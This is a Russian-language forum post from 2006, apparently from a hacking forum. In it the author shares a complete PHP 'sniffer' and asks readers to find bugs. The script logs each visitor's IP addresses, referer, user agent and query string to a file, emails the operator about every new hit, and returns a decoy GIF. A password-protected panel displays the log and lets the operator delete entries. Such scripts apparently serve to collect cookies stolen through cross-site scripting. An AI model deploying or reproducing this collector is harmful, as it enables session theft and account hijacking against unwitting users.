
08.05.2006, 14:49
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Свет увидела новая версия моего сниффера  )) Продолжаем отлавливать баги:
Код:
<?php
// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
error_reporting(0);
function auth() {
header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
header('HTTP/1.0 401 Unauthorized');
die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}
function index()
{
global $config;
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
$link = fopen($config['file'], "a");
fwrite($link, $string);
fclose($link);
unset($string, $link);
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
header("Content-length: ".strlen($image));
echo $image;
unset($image);
}
}
function view()
{
global $config;
$file = file($config['file']);
if (empty($file[0])) {
echo "<br />\n";
echo "<br />\n";
echo "<br />\n";
echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>";
exit;
}
krsort($file);
$file_count = count($file);
echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
for ($c = 0; $c < $file_count; $c++)
{
$array = explode("||", $file[$c]);
if (strpos($array[5], "&")) {
$query = explode("&", $array[5]);
$count = count($query);
$prev = $count - 1;
$array[5] = "";
for ($i = 0; $i < $count; $i++)
{
$array[5] .= $query[$i];
if ($i != $prev) {
$array[5] .= " <b>//</b> ";
}
}
unset($query, $count, $prev);
}
$str_num = $file_count - $c;
echo "<fieldset>";
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td>Дата:</td>\n";
echo "<td>".$array[0]."</td>\n";
echo "<td rowspan=\"6\"><input id=\"del\" name=\"box-".$str_num."\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Proxy):</td>\n";
echo "<td>".$array[1]."</td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Прямой):</td>\n";
echo "<td>".$array[2]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Реферер:</td>\n";
echo "<td>".$array[3]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Браузер:</td>\n";
echo "<td>".$array[4]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Запрос:</td>\n";
echo "<td>".rtrim($array[5])."</td></tr>\n";
echo "</table>\n";
echo "</fieldset>\n";
echo "<br />\n";
}
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
echo "</table>\n";
echo "</form>\n";
unset($file, $file_count, $array);
}
function del()
{
global $config;
$file = file($config['file']);
foreach ($_POST as $string)
{
$array = explode("-", $string);
if ($array[0] == "del") {
unset($file[$array[1] - 1]);
}
}
unset($array);
$string = "";
foreach ($file as $str)
{
$string .= $str;
}
$link = fopen($config['file'], "w");
fwrite($link, $string);
fclose($link);
header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}
if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
} else {
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}
switch ($_GET['mode'])
{
case "view":
view();
break;
case "delete":
del();
break;
default:
index();
break;
}
?>
Последний раз редактировалось Developer; 08.05.2006 в 15:10..
|
|
|